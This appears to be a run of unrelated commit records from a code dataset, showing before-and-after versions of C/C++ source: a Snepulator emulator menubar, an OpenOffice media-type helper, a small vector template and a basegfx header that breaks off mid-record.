gamepad_list_count; i++)\n {\n if (ImGui::MenuItem (gamepad_get_name (i), NULL, gamepad_list [i].instance_id == gamepad_1.instance_id))\n {\n gamepad_change_device (1, i);\n }\n }\n ImGui::EndMenu ();\n }\n if (ImGui::BeginMenu (\"Player 2\"))\n {\n for (int i = 0; i < gamepad_list_count; i++)\n {\n if (ImGui::MenuItem (gamepad_get_name (i), NULL, gamepad_list [i].instance_id == gamepad_2.instance_id))\n {\n gamepad_change_device (2, i);\n }\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::MenuItem (\"Configure...\", NULL))\n {\n input_start ();\n input_modal = true;\n }\n ImGui::EndMenu ();\n }\n\n ImGui::EndMainMenuBar ();\n }\n\n \/* Open any popups requested *\/\n if (open_modal)\n {\n ImGui::OpenPopup (open_state.title);\n }\n if (input_modal)\n {\n config_capture_events = true;\n ImGui::OpenPopup (\"Configure device...\");\n }\n\n}\n<commit_msg>gui: Include console name in 'Info' menu<commit_after>\/*\n * Main Menu-bar\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n\n#include <vector>\n\n#include <SDL2\/SDL.h>\n\n#include \"imgui.h\"\n\nextern \"C\" {\n\n#include \"util.h\"\n#include \"snepulator.h\"\n#include \"config.h\"\n\n#include \"gamepad.h\"\n#include \"video\/tms9928a.h\"\n#include \"video\/sms_vdp.h\"\n#include \"cpu\/z80.h\"\n\n#include \"sg-1000.h\"\n#include \"sms.h\"\n#include \"colecovision.h\"\n\nextern Z80_Regs z80_regs;\nextern TMS9928A_Mode sms_vdp_mode_get (void);\n\n\/* TODO: Access through a function instead of accessing the array *\/\nextern Gamepad_Instance gamepad_list[128];\nextern uint32_t gamepad_list_count;\nextern Snepulator_Gamepad gamepad_1;\nextern Snepulator_Gamepad gamepad_2;\n}\n\n#include \"gui\/input.h\"\n#include \"gui\/menubar.h\"\n#include \"gui\/open.h\"\nextern Snepulator_State state;\nextern File_Open_State open_state;\nextern bool config_capture_events; \/* TODO: Move into state *\/\n\nvoid snepulator_load_rom (char *path);\nvoid snepulator_load_sms_bios (char *path);\nvoid snepulator_load_colecovision_bios (char *path);\n\n\/*\n * Render the menubar.\n *\/\nvoid snepulator_render_menubar (void)\n{\n bool open_modal = false;\n bool input_modal = false;\n\n if (ImGui::BeginMainMenuBar ())\n {\n if (ImGui::BeginMenu (\"File\"))\n {\n if (ImGui::MenuItem (\"Load ROM...\", NULL))\n {\n state.running = false;\n open_state.title = \"Load ROM...\";\n snepulator_set_open_regex (\".*\\\\.(bin|col|gg|sg|sms)$\");\n open_state.callback = snepulator_load_rom;\n open_modal = true;\n }\n if (ImGui::BeginMenu (\"Load BIOS...\"))\n {\n if (ImGui::MenuItem (\"Master System\", NULL))\n {\n state.running = false;\n open_state.title = \"Load Master System BIOS...\";\n snepulator_set_open_regex (\".*\\\\.(bin|sms)$\");\n open_state.callback = snepulator_load_sms_bios;\n open_modal = true;\n }\n if (ImGui::MenuItem (\"ColecoVision\", NULL))\n {\n state.running = false;\n open_state.title = \"Load ColecoVision BIOS...\";\n snepulator_set_open_regex (\".*\\\\.(col)$\");\n open_state.callback = snepulator_load_colecovision_bios;\n open_modal = true;\n }\n if (ImGui::BeginMenu (\"Clear\"))\n {\n if (ImGui::MenuItem (\"Master System\", NULL))\n {\n config_entry_remove (\"sms\", \"bios\");\n config_write ();\n if (state.sms_bios_filename != NULL)\n {\n free (state.sms_bios_filename);\n state.sms_bios_filename = NULL;\n }\n }\n if (ImGui::MenuItem (\"ColecoVision\", NULL))\n {\n config_entry_remove (\"colecovision\", \"bios\");\n config_write ();\n if (state.colecovision_bios_filename != NULL)\n {\n free (state.colecovision_bios_filename);\n state.colecovision_bios_filename = NULL;\n }\n }\n ImGui::EndMenu ();\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::MenuItem (\"Pause\", NULL, !state.running)) {\n if (state.ready) {\n if (state.running)\n {\n snepulator_pause ();\n }\n else\n {\n state.running = true;\n }\n }\n }\n ImGui::Separator ();\n if (ImGui::MenuItem (\"Quit\", NULL)) { state.abort = true; }\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Audio\"))\n {\n if (ImGui::BeginMenu (\"Device\"))\n {\n int count = SDL_GetNumAudioDevices (0);\n for (int i = 0; i < count; i++)\n {\n const char *audio_device_name = SDL_GetAudioDeviceName (i, 0);\n if (audio_device_name == NULL)\n audio_device_name = \"Unknown Audio Device\";\n\n if (ImGui::MenuItem (audio_device_name, NULL)) { }\n }\n ImGui::EndMenu ();\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Video\"))\n {\n if (ImGui::BeginMenu (\"Filter\"))\n {\n if (ImGui::MenuItem (\"GL_NEAREST\", NULL, state.video_filter == VIDEO_FILTER_NEAREST))\n {\n state.video_filter = VIDEO_FILTER_NEAREST;\n config_string_set (\"video\", \"filter\", \"GL_NEAREST\");\n config_write ();\n }\n if (ImGui::MenuItem (\"GL_LINEAR\", NULL, state.video_filter == VIDEO_FILTER_LINEAR))\n {\n state.video_filter = VIDEO_FILTER_LINEAR;\n config_string_set (\"video\", \"filter\", \"GL_LINEAR\");\n config_write ();\n }\n if (ImGui::MenuItem (\"Scanlines\", NULL, state.video_filter == VIDEO_FILTER_SCANLINES))\n {\n state.video_filter = VIDEO_FILTER_SCANLINES;\n config_string_set (\"video\", \"filter\", \"Scanlines\");\n config_write ();\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"3D Mode\"))\n {\n if (ImGui::MenuItem (\"Left image only\", NULL, state.video_3d_mode == VIDEO_3D_LEFT_ONLY))\n {\n state.video_3d_mode = VIDEO_3D_LEFT_ONLY;\n }\n if (ImGui::MenuItem (\"Right image only\", NULL, state.video_3d_mode == VIDEO_3D_RIGHT_ONLY))\n {\n state.video_3d_mode = VIDEO_3D_RIGHT_ONLY;\n }\n if (ImGui::MenuItem (\"Red-Cyan\", NULL, state.video_3d_mode == VIDEO_3D_RED_CYAN))\n {\n state.video_3d_mode = VIDEO_3D_RED_CYAN;\n }\n if (ImGui::MenuItem (\"Red-Green\", NULL, state.video_3d_mode == VIDEO_3D_RED_GREEN))\n {\n state.video_3d_mode = VIDEO_3D_RED_GREEN;\n }\n if (ImGui::MenuItem (\"Magenta-Green\", NULL, state.video_3d_mode == VIDEO_3D_MAGENTA_GREEN))\n {\n state.video_3d_mode = VIDEO_3D_MAGENTA_GREEN;\n }\n\n ImGui::Separator ();\n\n if (ImGui::BeginMenu (\"Colour\"))\n {\n if (ImGui::MenuItem (\"Saturation 0%\", NULL, state.video_3d_saturation == 0.0))\n {\n state.video_3d_saturation = 0.0;\n }\n if (ImGui::MenuItem (\"Saturation 25%\", NULL, state.video_3d_saturation == 0.25))\n {\n state.video_3d_saturation = 0.25;\n }\n if (ImGui::MenuItem (\"Saturation 50%\", NULL, state.video_3d_saturation == 0.50))\n {\n state.video_3d_saturation = 0.50;\n }\n if (ImGui::MenuItem (\"Saturation 75%\", NULL, state.video_3d_saturation == 0.75))\n {\n state.video_3d_saturation = 0.75;\n }\n if (ImGui::MenuItem (\"Saturation 100%\", NULL, state.video_3d_saturation == 1.0))\n {\n state.video_3d_saturation = 1.0;\n }\n ImGui::EndMenu ();\n }\n\n ImGui::EndMenu ();\n }\n\n if (ImGui::MenuItem (\"Take Screenshot\"))\n {\n snepulator_take_screenshot ();\n }\n\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Console\"))\n {\n if (ImGui::MenuItem (\"Hard Reset\"))\n {\n system_init ();\n }\n ImGui::Separator ();\n\n if (ImGui::MenuItem (\"World\", NULL, state.region == REGION_WORLD)) {\n state.region = REGION_WORLD;\n config_string_set (\"sms\", \"region\", \"World\");\n config_write ();\n }\n if (ImGui::MenuItem (\"Japan\", NULL, state.region == REGION_JAPAN)) {\n state.region = REGION_JAPAN;\n config_string_set (\"sms\", \"region\", \"Japan\");\n config_write ();\n }\n ImGui::Separator ();\n\n if (ImGui::MenuItem (\"Auto\", NULL, state.format_auto)) {\n state.format_auto = true;\n config_string_set (\"sms\", \"format\", \"Auto\");\n config_write ();\n }\n if (ImGui::MenuItem (\"NTSC\", NULL, state.format == VIDEO_FORMAT_NTSC)) {\n state.format = VIDEO_FORMAT_NTSC;\n state.format_auto = false;\n config_string_set (\"sms\", \"format\", \"NTSC\");\n config_write ();\n }\n if (ImGui::MenuItem (\"PAL\", NULL, state.format == VIDEO_FORMAT_PAL)) {\n state.format = VIDEO_FORMAT_PAL;\n state.format_auto = false;\n config_string_set (\"sms\", \"format\", \"PAL\");\n config_write ();\n }\n ImGui::Separator ();\n\n if (ImGui::BeginMenu (\"Info\"))\n {\n ImGui::Text (\"%s\", state.console == CONSOLE_MASTER_SYSTEM ? \"Master System\" :\n state.console == CONSOLE_GAME_GEAR ? \"Game Gear\" :\n state.console == CONSOLE_SG_1000 ? \"SG-1000\" :\n state.console == CONSOLE_COLECOVISION ? \"ColecoVision\" :\n \"N\/A\");\n\n ImGui::Separator ();\n\n ImGui::Text (\"CPU\");\n ImGui::Text (\"PC : %04x SP : %04x\", z80_regs.pc, z80_regs.sp);\n ImGui::Text (\"AF : %04x BC : %04x\", z80_regs.af, z80_regs.bc);\n ImGui::Text (\"DE : %04x HL : %04x\", z80_regs.de, z80_regs.hl);\n ImGui::Text (\"IX : %04x IY : %04x\", z80_regs.ix, z80_regs.iy);\n ImGui::Text (\"IM : %d IFF: %d\/%d\", z80_regs.im, z80_regs.iff1, z80_regs.iff2);\n\n ImGui::Separator ();\n\n ImGui::Text (\"Video\");\n ImGui::Text (\"Mode : %s\", tms9928a_mode_name_get (sms_vdp_mode_get ()));\n\n ImGui::EndMenu ();\n }\n if (ImGui::BeginMenu (\"Statistics\"))\n {\n ImGui::Text (\"Video\");\n ImGui::Text (\"Host: %.2f fps\", state.host_framerate);\n ImGui::Text (\"VDP: %.2f fps\", state.vdp_framerate);\n ImGui::Separator ();\n ImGui::Text (\"Audio\");\n ImGui::Text (\"Ring buffer: %.2f%% full\", state.audio_ring_utilisation * 100.0);\n\n ImGui::EndMenu ();\n }\n if (ImGui::MenuItem (\"Time Five Minutes\", NULL))\n {\n uint32_t start_time;\n uint32_t end_time;\n state.running = false;\n start_time = SDL_GetTicks ();\n state.run (5 * 60000); \/* Simulate five minutes *\/\n end_time = SDL_GetTicks ();\n state.running = true;\n\n fprintf (stdout, \"[DEBUG] Took %d ms to emulate five minutes. (%fx speed-up)\\n\",\n end_time - start_time, (5.0 * 60000.0) \/ (end_time - start_time));\n }\n\n ImGui::EndMenu ();\n }\n\n if (ImGui::BeginMenu (\"Input\"))\n {\n\n if (ImGui::BeginMenu (\"Player 1\"))\n {\n if (ImGui::BeginMenu (\"Type\"))\n {\n if (ImGui::MenuItem (\"Auto\", NULL, gamepad_1.type_auto))\n {\n gamepad_1.type_auto = true;\n }\n if (ImGui::MenuItem (\"SMS Gamepad\", NULL, gamepad_1.type == GAMEPAD_TYPE_SMS))\n {\n gamepad_1.type = GAMEPAD_TYPE_SMS;\n gamepad_1.type_auto = false;\n }\n if (ImGui::MenuItem (\"SMS Light Phaser\", NULL, gamepad_1.type == GAMEPAD_TYPE_SMS_PHASER))\n {\n gamepad_1.type = GAMEPAD_TYPE_SMS_PHASER;\n gamepad_1.type_auto = false;\n }\n if (ImGui::MenuItem (\"SMS Paddle\", NULL, gamepad_1.type == GAMEPAD_TYPE_SMS_PADDLE))\n {\n gamepad_1.type = GAMEPAD_TYPE_SMS_PADDLE;\n gamepad_1.type_auto = false;\n }\n ImGui::EndMenu ();\n }\n\n ImGui::Separator ();\n\n for (int i = 0; i < gamepad_list_count; i++)\n {\n if (ImGui::MenuItem (gamepad_get_name (i), NULL, gamepad_list [i].instance_id == gamepad_1.instance_id))\n {\n gamepad_change_device (1, i);\n }\n }\n ImGui::EndMenu ();\n }\n if (ImGui::BeginMenu (\"Player 2\"))\n {\n for (int i = 0; i < gamepad_list_count; i++)\n {\n if (ImGui::MenuItem (gamepad_get_name (i), NULL, gamepad_list [i].instance_id == gamepad_2.instance_id))\n {\n gamepad_change_device (2, i);\n }\n }\n ImGui::EndMenu ();\n }\n\n if (ImGui::MenuItem (\"Configure...\", NULL))\n {\n input_start ();\n input_modal = true;\n }\n ImGui::EndMenu ();\n }\n\n ImGui::EndMainMenuBar ();\n }\n\n \/* Open any popups requested *\/\n if (open_modal)\n {\n ImGui::OpenPopup (open_state.title);\n }\n if (input_modal)\n {\n config_capture_events = true;\n ImGui::OpenPopup (\"Configure device...\");\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <services\/mediatypedetectionhelper.hxx>\n#include <services.h>\n#include <svl\/inettype.hxx>\n#include <tools\/string.hxx>\n#include <rtl\/logfile.hxx>\n\nnamespace framework\n{\n\nusing namespace ::com::sun::star ;\nusing namespace ::rtl ;\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::MediaTypeDetectionHelper( const uno::Reference< lang::XMultiServiceFactory >& xFactory )\n : m_xFactory( xFactory )\n{\n}\n\n\/\/*****************************************************************************************************************\n\/\/ destructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::~MediaTypeDetectionHelper()\n{\n}\n\nDEFINE_XSERVICEINFO_ONEINSTANCESERVICE ( MediaTypeDetectionHelper\n , ::cppu::OWeakObject\n , DECLARE_ASCII(\"com.sun.star.frame.MediaTypeDetectionHelper\")\n , IMPLEMENTATIONNAME_MEDIATYPEDETECTIONHELPER\n )\n\nDEFINE_INIT_SERVICE ( MediaTypeDetectionHelper,\n {\n }\n )\n\n\/\/*****************************************************************************************************************\n\/\/ XStringMapping\n\/\/*****************************************************************************************************************\n\nsal_Bool SAL_CALL MediaTypeDetectionHelper::mapStrings(\n uno::Sequence< OUString >& rSeq )\n throw(uno::RuntimeException)\n{\n sal_Bool bModified = sal_False;\n for( sal_Int32 i = rSeq.getLength(); i--; )\n {\n\n OUString& rUrl = rSeq[i];\n INetContentType eType = INetContentTypes::GetContentTypeFromURL( rUrl );\n\n rtl::OUString aType( INetContentTypes::GetContentType( eType ) );\n if (!aType.isEmpty())\n {\n rUrl = aType;\n bModified = sal_True;\n }\n }\n return bModified;\n}\n\n} \/\/ namespace framework\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>Improve previous commit slightly<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2000, 2010 Oracle and\/or its affiliates.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#include <services\/mediatypedetectionhelper.hxx>\n#include <services.h>\n#include <svl\/inettype.hxx>\n#include <tools\/string.hxx>\n#include <rtl\/logfile.hxx>\n\nnamespace framework\n{\n\nusing namespace ::com::sun::star ;\nusing namespace ::rtl ;\n\n\/\/*****************************************************************************************************************\n\/\/ constructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::MediaTypeDetectionHelper( const uno::Reference< lang::XMultiServiceFactory >& xFactory )\n : m_xFactory( xFactory )\n{\n}\n\n\/\/*****************************************************************************************************************\n\/\/ destructor\n\/\/*****************************************************************************************************************\nMediaTypeDetectionHelper::~MediaTypeDetectionHelper()\n{\n}\n\nDEFINE_XSERVICEINFO_ONEINSTANCESERVICE ( MediaTypeDetectionHelper\n , ::cppu::OWeakObject\n , \"com.sun.star.frame.MediaTypeDetectionHelper\"\n , IMPLEMENTATIONNAME_MEDIATYPEDETECTIONHELPER\n )\n\nDEFINE_INIT_SERVICE ( MediaTypeDetectionHelper,\n {\n }\n )\n\n\/\/*****************************************************************************************************************\n\/\/ XStringMapping\n\/\/*****************************************************************************************************************\n\nsal_Bool SAL_CALL MediaTypeDetectionHelper::mapStrings(\n uno::Sequence< OUString >& rSeq )\n throw(uno::RuntimeException)\n{\n sal_Bool bModified = sal_False;\n for( sal_Int32 i = rSeq.getLength(); i--; )\n {\n\n OUString& rUrl = rSeq[i];\n INetContentType eType = INetContentTypes::GetContentTypeFromURL( rUrl );\n\n rtl::OUString aType( INetContentTypes::GetContentType( eType ) );\n if (!aType.isEmpty())\n {\n rUrl = aType;\n bModified = sal_True;\n }\n }\n return bModified;\n}\n\n} \/\/ namespace framework\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef VECTOR_H\n#define VECTOR_H\n\n#include \"types.hpp\"\n\ntemplate<typename T>\nclass vector {\npublic:\n typedef T value_type;\n typedef value_type* pointer_type;\n typedef uint64_t size_type;\n typedef value_type* iterator;\n typedef const value_type* const_iterator;\n\nprivate:\n T* data;\n uint64_t _size;\n uint64_t _capacity;\n\npublic:\n vector() : data(nullptr), _size(0), _capacity(0) {}\n explicit vector(uint64_t c) : data(new T[c]), _size(0), _capacity(c) {}\n\n \/\/ Disable copy for now\n vector(const vector& rhs) = delete;\n vector& operator=(const vector& rhs) = delete;\n\n \/\/Move constructors\n\n vector(vector&& rhs) : data(rhs.data), _size(rhs._size), _capacity(rhs._capacity) {\n rhs.data = nullptr;\n rhs._size = 0;\n rhs._capacity = 0;\n };\n\n vector& operator=(vector&& rhs){\n data = rhs.data;\n _size = rhs._size;\n _capacity = rhs._capacity;\n rhs.data = nullptr;\n rhs._size = 0;\n rhs._capacity = 0;\n\n return *this;\n }\n\n ~vector(){\n if(data){\n delete[] data;\n }\n }\n\n \/\/Getters\n\n size_type size() const {\n return _size;\n }\n\n size_type capacity() const {\n return _capacity;\n }\n\n const value_type& operator[](size_type pos) const {\n return data[pos];\n }\n\n value_type& operator[](size_type pos){\n return data[pos];\n }\n\n \/\/Modifiers\n\n void push_back(value_type& element){\n if(_capacity == 0){\n _capacity = 1;\n data = new T[_capacity];\n } else if(_capacity == _size){\n _capacity= _capacity * 2;\n auto new_data = new T[_capacity];\n\n for(size_type i = 0; i < _size; ++i){\n new_data[i] = data[i];\n }\n\n delete[] data;\n data = new_data;\n }\n\n data[_size++] = element;\n }\n\n \/\/Iterators\n\n iterator begin(){\n return iterator(&data[0]);\n }\n\n const_iterator begin() const {\n return const_iterator(&data[0]);\n }\n\n iterator end(){\n return iterator(&data[_size]);\n }\n\n const_iterator end() const {\n return const_iterator(&data[_size]);\n }\n};\n\n#endif\n<commit_msg>Add constexpr when possible<commit_after>#ifndef VECTOR_H\n#define VECTOR_H\n\n#include \"types.hpp\"\n\ntemplate<typename T>\nclass vector {\npublic:\n typedef T value_type;\n typedef value_type* pointer_type;\n typedef uint64_t size_type;\n typedef value_type* iterator;\n typedef const value_type* const_iterator;\n\nprivate:\n T* data;\n uint64_t _size;\n uint64_t _capacity;\n\npublic:\n vector() : data(nullptr), _size(0), _capacity(0) {}\n explicit vector(uint64_t c) : data(new T[c]), _size(0), _capacity(c) {}\n\n \/\/ Disable copy for now\n vector(const vector& rhs) = delete;\n vector& operator=(const vector& rhs) = delete;\n\n \/\/Move constructors\n\n vector(vector&& rhs) : data(rhs.data), _size(rhs._size), _capacity(rhs._capacity) {\n rhs.data = nullptr;\n rhs._size = 0;\n rhs._capacity = 0;\n };\n\n vector& operator=(vector&& rhs){\n data = rhs.data;\n _size = rhs._size;\n _capacity = rhs._capacity;\n rhs.data = nullptr;\n rhs._size = 0;\n rhs._capacity = 0;\n\n return *this;\n }\n\n ~vector(){\n if(data){\n delete[] data;\n }\n }\n\n \/\/Getters\n\n constexpr size_type size() const {\n return _size;\n }\n\n constexpr size_type capacity() const {\n return _capacity;\n }\n\n constexpr const value_type& operator[](size_type pos) const {\n return data[pos];\n }\n\n value_type& operator[](size_type pos){\n return data[pos];\n }\n\n \/\/Modifiers\n\n void push_back(value_type& element){\n if(_capacity == 0){\n _capacity = 1;\n data = new T[_capacity];\n } else if(_capacity == _size){\n _capacity= _capacity * 2;\n auto new_data = new T[_capacity];\n\n for(size_type i = 0; i < _size; ++i){\n new_data[i] = data[i];\n }\n\n delete[] data;\n data = new_data;\n }\n\n data[_size++] = element;\n }\n\n \/\/Iterators\n\n iterator begin(){\n return iterator(&data[0]);\n }\n\n constexpr const_iterator begin() const {\n return const_iterator(&data[0]);\n }\n\n iterator end(){\n return iterator(&data[_size]);\n }\n\n constexpr const_iterator end() const {\n return const_iterator(&data[_size]);\n }\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: canvastools.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: obo $ $Date: 2005-04-18 09:15:25 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _BGFX_TOOLS_CANVASTOOLS_HXX\n#define _BGFX_TOOLS_CANVASTOOLS_HXX\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_HXX_\n#include <com\/sun\/star\/uno\/Reference.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n\n\nnamespace com { namespace sun { namespace star { namespace geometry\n{\n struct AffineMatrix2D;\n struct RealPoint2D;\n struct RealSize2D;\n struct RealRectangle2D;\n struct IntegerPoint2D;\n struct IntegerSize2D;\n struct IntegerRectangle2D;\n struct RealBezierSegment2D;\n} } } }\n\nnamespace com { namespace sun { namespace star { namespace rendering\n{\n class XGraphicDevice;\n class XPolyPolygon2D;\n} } } }\n\nnamespace com { namespace sun { namespace star { namespace awt\n{\n struct Point;\n struct Size;\n struct Rectangle;\n} } } }\n\nnamespace basegfx\n{\n class B2DHomMatrix;\n class B2DVector;\n class B2DPoint;\n class B2DRange;\n class B2IVector;\n class B2IPoint;\n class B2IRange;\n class B2DPolygon;\n class B2DPolyPolygon;\n\n namespace unotools\n {\n \/\/ Polygon conversions\n \/\/ ===================================================================\n\n ::com::sun::star::uno::Reference< ::com::sun::star::rendering::XPolyPolygon2D >\n xPolyPolygonFromB2DPolygon( const ::com::sun::star::uno::Reference<\n ::com::sun::star::rendering::XGraphicDevice >& xGraphicDevice,\n const ::basegfx::B2DPolygon& rPoly );\n\n ::com::sun::star::uno::Reference< ::com::sun::star::rendering::XPolyPolygon2D >\n xPolyPolygonFromB2DPolyPolygon( const ::com::sun::star::uno::Reference<\n ::com::sun::star::rendering::XGraphicDevice >& xGraphicDevice,\n const ::basegfx::B2DPolyPolygon& rPolyPoly );\n\n\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealBezierSegment2D > >\n bezierSequenceSequenceFromB2DPolyPolygon( const ::basegfx::B2DPolyPolygon& rPolyPoly );\n\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealPoint2D > >\n pointSequenceSequenceFromB2DPolyPolygon( const ::basegfx::B2DPolyPolygon& rPolyPoly );\n\n ::basegfx::B2DPolygon polygonFromPoint2DSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealPoint2D >& rPoints );\n\n ::basegfx::B2DPolyPolygon polyPolygonFromPoint2DSequenceSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence< ::com::sun::star::geometry::RealPoint2D > >& rPoints );\n\n ::basegfx::B2DPolygon polygonFromBezier2DSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::geometry::RealBezierSegment2D >& rPoints );\n\n ::basegfx::B2DPolyPolygon polyPolygonFromBezier2DSequenceSequence(\n const ::com::sun::star::uno::Sequence<\n ::com::sun::star::uno::Sequence< ::com::sun::star::geometry::RealBezierSegment2D > >& rPoints );\n\n\n \/\/ Matrix conversions\n \/\/ ===================================================================\n\n ::com::sun::star::geometry::AffineMatrix2D&\n affineMatrixFromHomMatrix( ::com::sun::star::geometry::AffineMatrix2D& matrix,\n const ::basegfx::B2DHomMatrix& transform);\n\n ::basegfx::B2DHomMatrix&\n homMatrixFromAffineMatrix( ::basegfx::B2DHomMatrix& transform,\n const ::com::sun::star::geometry::AffineMatrix2D& matrix );\n\n\n \/\/ Geometry conversions\n \/\/ ===================================================================\n\n ::com::sun::star::geometry::RealSize2D size2DFromB2DSize( const ::basegfx::B2DVector& );\n ::com::sun::star::geometry::RealPoint2D point2DFromB2DPoint( const ::basegfx::B2DPoint& );\n ::com::sun::star::geometry::RealRectangle2D rectangle2DFromB2DRectangle( const ::basegfx::B2DRange& );\n\n ::basegfx::B2DVector b2DSizeFromRealSize2D( const ::com::sun::star::geometry::RealSize2D& );\n ::basegfx::B2DPoint b2DPointFromRealPoint2D( const ::com::sun::star::geometry::RealPoint2D& );\n ::basegfx::B2DRange b2DRectangleFromRealRectangle2D( const ::com::sun::star::geometry::RealRectangle2D& );\n\n ::com::sun::star::geometry::IntegerSize2D integerSize2DFromB2ISize( const ::basegfx::B2IVector& );\n ::com::sun::star::geometry::IntegerPoint2D integerPoint2DFromB2IPoint( const ::basegfx::B2IPoint& );\n ::com::sun::star::geometry::IntegerRectangle2D integerRectangle2DFromB2IRectangle( const ::basegfx::B2IRange& );\n\n ::basegfx::B2IVector b2ISizeFromIntegerSize2D( const ::com::sun::star::geometry::IntegerSize2D& );\n ::basegfx::B2IPoint b2IPointFromIntegerPoint2D( const ::com::sun::star::geometry::IntegerPoint2D& );\n ::basegfx::B2IRange b2IRectangleFromIntegerRectangle2D( const ::com::sun::star::geometry::IntegerRectangle2D& );\n\n ::com::sun::star::awt::Size awtSizeFromB2ISize( const ::basegfx::B2IVector& );\n ::com::sun::star::awt::Point awtPointFromB2IPoint( const ::basegfx::B2IPoint& );\n ::com::sun::star::awt::Rectangle awtRectangleFromB2IRectangle( const ::basegfx::B2IRange& );\n\n ::basegfx::B2IVector b2ISizeFromAwtSize( const ::com::sun::star::awt::Size& );\n ::basegfx::B2IPoint b2IPointFromAwtPoint( const ::com::sun::star::awt::Point& );\n ::basegfx::B2IRange b2IRectangleFromAwtRectangle( const ::com::sun::star::awt::Rectangle& );\n }\n}\n\n#endif \/* _BGFX_TOOLS_CANVASTOOLS_HXX *\/\n<commit_msg>INTEGRATION: CWS ooo19126 (1.5.16); FILE MERGED 2005\/09\/05 17:38:29 rt 1.5.16.1: 